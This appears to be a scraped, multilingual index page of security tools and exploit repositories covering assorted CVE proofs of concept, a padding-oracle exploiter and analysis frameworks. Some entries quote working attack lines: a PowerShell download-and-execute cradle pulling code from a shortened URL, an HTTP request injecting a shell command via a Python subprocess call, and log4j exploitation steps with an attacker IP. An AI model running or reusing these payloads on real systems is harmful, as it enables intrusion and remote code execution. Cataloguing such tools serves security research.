CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 Только для Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CaptfEncoder

CaptfEncoder Английский | Китайский | V1 | V2 CaptfEncoder — это открытый быстрый кроссплатформенный набор инструментов для обеспечения сетевой безопасности, предоставляющий функции преобразования кода, классические шифры, криптографию, асимметричное шифрование, различные вспомогательные...

pax

pax Exploit padding oracles for fun and profit! Pax PAdding oracle eXploiter is a tool for exploiting padding oracles in order to: 1. Obtain plaintext for a given piece of CBC encrypted data. 2. Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by...

CVE-2020-28414

CVE-2020-28414 Предлагаемое описание Отраженная межсайтовая скриптинг-уязвимость XSS существует в TranzWare Payment Gateway 3.1.12.3.2. Удаленный неаутентифицированный злоумышленник может выполнить произвольный HTML-код через специально сформированный URL. Тип уязвимости Межсайтовый скриптинг XSS...

decker

Decker - Cadre d'orchestration de tests d'intrusion Objectif Decker est un cadre d'orchestration de tests d'intrusion. Il exploite HashiCorp Configuration Language 2 le même langage de configuration que Terraform pour permettre la déclaration de tests d'intrusion en tant que code, afin que vos...

mariana-trench

Mariana Trench Mariana Trench is a security focused static analysis platform targeting Android. This guide will walk you through setting up Mariana Trench on your machine and get you to find your first remote code execution vulnerability in a small sample app. These instructions are also availabl...

S2-055

Эксплойт уязвимости десериализации S2-055 CVE-2017-7525 Процесс эксплуатации javac ExploitCommand.java root@kitploit: package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import...

CVE-2019-16891-Liferay-deserialization-RCE

CVE-2019-16891-Liferay-deserialization-RCE...

CVE-2024-29973

CVE-2024-29973 root@kitploit: GET /cmd,/simZysh/registermain/setCookie?c0=storageextcgi+CGIGetExtStoInfo+None+and+False+or+import"subprocess".checkoutput"id",+shell=True%23 HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept: / Accept-Languag...

CVE-2019-3980

CVE-2019-3980 이 저장소는 사용자 지정 C 실행 파일과 함께 Nessus POC를 활용하여 원격 호스트에서 명령을 실행하고 해당 명령의 출력을 가져오기 위해 만들어졌습니다. python 파일은 웹 서버를 시작하고, 익스플로잇을 실행한 다음, 웹 서버를 통해 결과를 가져오는 데 사용됩니다. C exe는 익스플로잇을 통해 대상에 업로드됩니다. 대상에서 실행되면 exe는 지정된 IP/포트로 콜백하여 실행할 명령을 가져옵니다경로는 /cmd. 명령이 완료되면 exe는 출력을 동일한 웹 서버로 보냅니다. 출력 전송은 404를...

CVE-2022-30190

CVE 30190 Amine TITROFINE | 17 décembre 2022 Follina CVE-2022-30190 est une vulnérabilité zero-day de Microsoft Office récemment découverte. Il s'agit d'une vulnérabilité de haute sévérité que les pirates peuvent exploiter pour des attaques d'exécution de code à distance RCE. Elle se produit...

cve-2018-12798

Vulnérabilité de dépassement de tas et d'exécution de code à distance dans Adobe Acrobat Reader Vulnérabilité Vulnérabilité de restriction inappropriée des opérations dans les limites d'un tampon mémoire Description de la vulnérabilité Cette vulnérabilité permet à des attaquants distants d'exécut...

CVE-2025-49113

CVE-2025-49113 Roundcube ≤ 1.6.10 RCE post-authentification via désérialisation d'objets PHP...

CVE-2024-32113-Exploit

Exploit CVE-2024-32113 Exploit de traversée de chemin menant à une exécution de code à distance RCE dans Apache OFBiz. Description CVE-2024-32113 est une vulnérabilité de traversée de chemin qui mène à une exécution de code à distance RCE dans Apache OFBiz. Vulnérabilité : vulnérabilité de...

threatspec

threatspec - continuous threat modeling, through code Threatspec is an open source project that aims to close the gap between development and security by bringing the threat modelling process further into the development process. This is achieved by having developers and security engineers write...

log4j

💻 -h3x0v3rl0rd- log4j CVE-2021-44228 악용하기 TryHackMe Solar, Walkthrough root@kitploit: git clone https://github.com/n3rdh4x0r/log4j.git 1. log4j.py 실행 필요한 모든 애플리케이션을 설치하고 LDAP 서버를 시작합니다 root@kitploit: ifconfig tun0 python3 log4j.py 10.8.227.251 2. Exploit.java 파일에 공격자 IP 추가 3. 페이로드 컴파일...

jscythe

jscythe يساء استخدام آلية المفتش في node.js لإجبار أي عملية مبنية على node.js/electron/v8 على تنفيذ كود جافاسكريبت تعسفي، حتى إذا كانت قدرات التصحيح لديهم معطلة. تم اختباره ويعمل ضد Visual Studio Code و Discord وأي تطبيق Node.js والمزيد! كيف 1. حدد العملية المستهدفة. 2. أرسل إشارة SIGUSR1 إلى...

CVE-2022-37202

CVE-2022-37202 CVE-2022-37202 POC الوصف المقترح JFinal CMS 5.1.0 معرضة لهجمات حقن SQL. نوع الثغرة حقن SQL بائع المنتج مجموعة التطوير قاعدة كود المنتج المتأثر https://github.com/jflyfox/jfinalcms - JFinal CMS 5.1.0 المكون المتأثر هذه الواجهات لا تستخدم نفس المكون، ولا تحتوي على مرشحات، بل كل منها...

CVE-2025-30216-PoC

PoC для CVE-2025-30216: Уязвимость переполнения кучи в CryptoLib Обзор CryptoLib предоставляет программное решение, использующее Протокол безопасности космических линий передачи данных CCSDS - Расширенные процедуры SDLS-EP для защиты связи между космическим аппаратом, работающим под управлением...

SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 إكسبلويت CVE-2022-0944 يقوم هذا السكريبت Bash باستغلال ثغرة تنفيذ أكواد عن بُعد RCE في SQLPad 6.10.0، مما يسمح للمهاجم بتحقيق تنفيذ أكواد عن بُعد RCE عن طريق إساءة استخدام حقلي host و database في إعدادات اتصال قاعدة بيانات MySQL في SQLPad. يستغل الإكسبلويت معالجة SQLPad غير الآمنة...